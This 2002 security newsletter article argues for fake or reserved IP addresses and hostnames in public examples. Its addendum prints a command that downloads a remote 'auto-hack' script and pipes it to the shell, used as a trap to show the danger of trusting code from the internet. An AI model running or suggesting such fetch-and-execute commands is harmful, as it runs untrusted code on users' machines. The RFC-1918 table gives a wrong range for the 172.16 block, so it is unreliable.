Summary: Don't use real IP addresses or host names when talking to outsiders or giving advice.

Several folks complained about my 10 minute firewall article. They tried to run what I'd provided, and it failed. This was because they tried to copy/paste exactly the commands I provided. I intentionally left my code crippled by using bogus IP addresses and host names. Let me first provide two reasons why this is a good idea, and then I'll explain how you can (and should) do the same in all your writing.

Prevent sensitive information leakage.

Many times when you're asking for help on public mailing lists or newsgroups it is helpful to provide information about your network setup. For example if you're trying to configure your firewall to pass packets back into your internal network on specific ports, you would want to be able to show the actual IP addresses or host names involved.

Unfortunately, any attacker who is targeting you or your organisation can read these posts and learn sensitive information about your network which can make an attack easier. I could expound on this, but it should seem pretty evident. The less info you provide an attacker, the more work it will take to mount a successful attack.

For this reason, it's very good to provide fake info instead.

Protect others from themselves.

When others are asking for help, or when you're writing a document that tells folks how to do something, you should never use real IP addresses or host names. Many folks reading what you write will copy verbatim whatever you suggest. If you're telling them how to Nmap a host, then viola, you've inadvertently targeted someone for boatloads of port scans. If you're telling them how to fix their routing, you'll cause some innocent firewall to be bombarded with misdirected data.

So when attempting to discuss networks and machines, I find it helpful to re-write any host names or IP addresses to protect the innocent and hide actual information.

Invalid domain names

Rather than using a real domain name, you can create a fictitious domain name by using invalid characters. The easiest one would be the underline, which is illegal in DNS names. So if you are trying to discuss two separate machines, you may talk about mailserver.work_domain.com and mylaptop.home_machine.com, for example. Don't use 'foo.com', 'bar.org', 'asdf.com', or 'aoeu.com' (for those Dvorak users out there) or you'll end up targeting someone real.[1]

Example domain names

The domains example.com, example.org, example.net, and example.edu are reserved for examples. Originally, this meant that you could safely use any example.{com|org|net|edu} domain and be guaranteed that it wouldn't ever have real DNS entries associated with it. Unfortunately, someone decided recently that it'd be helpful to have the www page available to tell folks that it's reserved for examples, so I suggest you don't use that one.

Illegal IP addresses

You can easily craft an illegal IP address by including a number that is greater than 255 for one of the bytes. When creating examples, I find it easiest to use IP addresses that are very similar, like 300.3.3.3, or 280.8.8.8. This makes it easier for folks to recognise the IP address without reading the whole thing.

If you are trying to ask for help from others and want to be able to use roughly the same IP address, change one of the bytes only. For example if you wanted to talk about your IP address 192.168.2.20, change the third byte to 192.168.999.20. When you get assistance, it will be much easier to convert this back to the real IP address.

Private networks

Some networks are reserved for internal networks by RFC-1918. These are networks that should never be able to propagate across the Internet, and can safely be used behind your firewall. They are

Range	CIDR Block
10.0.0.0 - 10.255.255.255	(10.0.0.0/8)
172.16.0.0. - 172.31.0.0	(172.16.0.0/9)
192.168.0.0 - 192.168.255.255	(192.168.0.0/16)

It is possible that IP addresses in these ranges will be valid for a given person looking at your examples. However it is pretty much guaranteed that if they do attempt to attack or otherwise bother one of these IP addresses, it will be someone on their own network, not some innocent individual out on the Internet.

Using tricks such as these can prevent you from accidentally providing an attacker with information about your network, or causing some innocent party to be targeted by those seeking your advice.

-------- Addendum --------

Many folks have written in response to my 'auto-hack-script.f' mentioned in the previous article about the dangers of blindly trusting code from the Internet. As I mentioned, you need to run it as follows:

 lynx --source http://www.hackinglinuxexposed.com/auto-hack-script.f?IP | sh

and replace "IP" with the IP you wish to attack. For the many folks that were interested in how many people downloaded it, here are some stats:

• 181 people downloaded the script targeting no IP address
• 33 people downloaded the script targeting a non-routable (192.168.0.0, etc) address specified
• 20 people downloaded the script targeting an IP that looks legit
• 8 people downloaded the script targeting localhost (127.0.0.1)
• One person targeted the machine "You_are_most_amusing_Bri"[2]

Here's a breakdown of http clients:

• 58% Mozilla / Netscape / IE / Opera / etc
• 41% lynx / wget / curl
• 1% used, and I quote,

  Mozilla/5.0 compatible (All your base are belong to us!!; Macintosh
    %d%sUnix NT Netscape Linux Internet Explorer; I U; en-US;\"
    Happy parsing! <script><!--
  

  I'm particularly amused at that one.[3]

Now I can't tell which of these users actually piped the auto-hack-script.f to /bin/sh. Presumably, those using a GUI web browser didn't. Hopefully, those using command line versions didn't either.

There were, however, several cases where a single IP address would snag it twice in quick succession, go away for some time, and then try again. Those folks probably did execute the code. Check out the code yourself to see why....

NOTES:

[1] I mean it - I own aoeu.com, and I'd be very annoyed.

[2] Awww, thanks.

[3] This was, unsurprisingly, the same one that requested "You_are_most_amusing_BRIAN"

Bri Hatch is Chief Hacker at Onsight, Inc and author of Hacking Linux Exposed and Building Linux VPNs. He's re-configured the TCP/IP stacks on all machines on his home network to allow octets larger than 255 through a revolutionary patent-pending IP address compression process that should blow away IPv6's increased address space using only two bytes. Of course, since it uses encapsulated XML unicode bit multiplexing inside alternate polarity data channel conduits, it will take some time to port to Windows. Bri can be reached at bri@hackinglinuxexposed.com.

Copyright Bri Hatch, 2002

This is the October 30, 2002 issue of the Linux Security: Tips, Tricks, and Hackery newsletter. If you wish to subscribe, visit http://lists.onsight.com/ or send email to Linux_Security-request@lists.onsight.com.